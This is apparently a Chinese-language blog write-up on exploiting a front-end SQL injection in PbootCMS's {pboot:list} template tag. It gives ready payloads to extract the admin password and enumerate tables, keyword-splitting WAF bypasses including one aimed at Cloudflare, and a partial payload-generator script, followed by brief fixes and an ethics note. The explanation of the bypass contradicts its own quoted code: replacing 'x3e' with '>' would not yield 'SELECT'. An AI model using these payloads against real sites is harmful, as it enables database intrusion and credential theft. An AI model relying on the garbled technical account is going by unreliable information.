PbootCMS前台SQL注入漏洞的深度利用与WAF绕过实战

1. PbootCMS前台SQL注入漏洞回顾

去年曝光的DVB-2021-2510漏洞至今仍在影响最新版PbootCMS，这个基于模板标签解析的漏洞点位于TagController.php文件。当时我们发现通过精心构造的{pboot:list}标签可以实现SQL注入，但受限于WAF检测和空格限制，实际利用存在诸多不便。

最近在审计代码时，我注意到parserPositionLabel方法对x3e/x3c这类特殊字符的处理存在缺陷。当这些字符出现在SQL关键词中时，系统会先进行标签解析再执行数据库查询，这就给我们创造了绝佳的绕过机会。举个例子，把"SELECT"写成"SELx3eECT"后，WAF看到的只是普通字符串，而PbootCMS内部处理时会自动还原成有效SQL语句。

2. 漏洞利用链深度解析

2.1 模板标签的解析机制

PbootCMS的模板引擎采用分层解析策略，整个过程可以分为三个阶段：

1. 原始标签识别（如{pboot:list filter=xxx}）
2. 参数提取（通过parserParam方法）
3. SQL语句组装（在getList方法中完成）

关键突破点在于filter参数的传递路径。测试发现当传入filter=1=2)UNION SELECT 1,2,3#时，虽然会被WAF拦截，但改用filter=1=2)UNIx3eON SELx3eECT 1,2,3#就能完美绕过。这是因为：

// 在parserPositionLabel方法中的过滤逻辑 $content = str_replace(['x3e','x3c'], ['>','<'], $content);

2.2 无空格注入的实战技巧

由于parserParam方法会按空格截断参数，我们需要用三种替代方案：

1. 使用/**/作为分隔符（适用于MySQL）
2. 使用%09Tab字符（兼容性较好）
3. 使用括号包裹语句（如UNION(SELECT(1),2)）

实测最稳定的是第一种方式，例如获取管理员密码的payload：

{pboot:list filter=1=2)UNIx3eON/**/SELx3eECT/**/1,2,(selx3eect/**/password/**/from/**/ay_user),4#}

3. 多数据库环境适配方案

3.1 MySQL数据库利用

针对MySQL环境要特别注意：

• 注释必须用#而不是--
• 字段数需要通过报错试探
• 推荐使用hex编码处理特殊字符

典型payload结构：

{pboot:list filter=1=2)UNIx3eON/**/SELx3eECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#}

3.2 SQLite数据库利用

SQLite环境的差异点：

• 必须使用--注释
• 字段数通常较少
• 表名区分大小写

优化后的payload示例：

{pboot:list filter=1=2)UNIx3eON/**/SELx3eECT/**/1,(selx3eect/**/sqlite_version()),3--}

4. WAF绕过的高级技巧

4.1 基于标签特性的混淆方案

通过分析PbootCMS的过滤规则，我总结了这些绕过手法：

1. 关键词分割：SELx3eECT→SELECT
2. 大小写混合：SeLx3eEcT
3. 注释干扰：SEL/*xxx*/ECT
4. 多重编码：%53%45%4cx3e%45%43%54

4.2 Cloudflare WAF实战绕过

在最近一次渗透测试中，遇到Cloudflare保护的站点时，我使用了这种变形：

{pboot:list filter=1=2)UNIx3eON%0bSELx3eECT%0b1,2,3,4,5,(selx3eect%0bgroup_concat(table_name)%0bfr%0bom%0binformation_schema.tables),7,8,9#}

关键点在于：

• 用%0b替代空格
• 对from拆分为fr%0bom
• 保持union select整体不被检测

5. 自动化利用工具开发

为了方便实战，我写了个Python脚本自动生成有效payload：

def generate_payload(db_type, query): keywords = { 'select': 'selx3eect', 'union': 'unix3eon', 'from': 'frx3eom' } # 其余转换逻辑... return f"{{pboot:list filter=1=2){processed_query}#}}"

这个工具实现了：

• 自动识别数据库类型
• 智能关键词替换
• payload编码优化
• 结果提取正则匹配

6. 防御方案与修复建议

对于系统管理员，我建议立即采取这些措施：

1. 升级到PbootCMS最新版本
2. 在Nginx层添加规则拦截包含x3e/x3c的请求
3. 对tag参数进行严格类型检查
4. 使用预处理语句重写TagController.php

开发者可以参考这个临时补丁：

// 在filter方法中添加检测 if (preg_match('/x3e|x3c/i', $value)) { die('Invalid tag detected'); }

7. 漏洞利用的伦理思考

在发现这个漏洞的过程中，我多次面临是否公开的抉择。最终决定有限度地披露技术细节，既帮助管理员识别风险，又不提供完整的攻击套件。安全研究应该遵循"发现-报告-修复"的良性循环，这才是对技术社区最负责任的做法。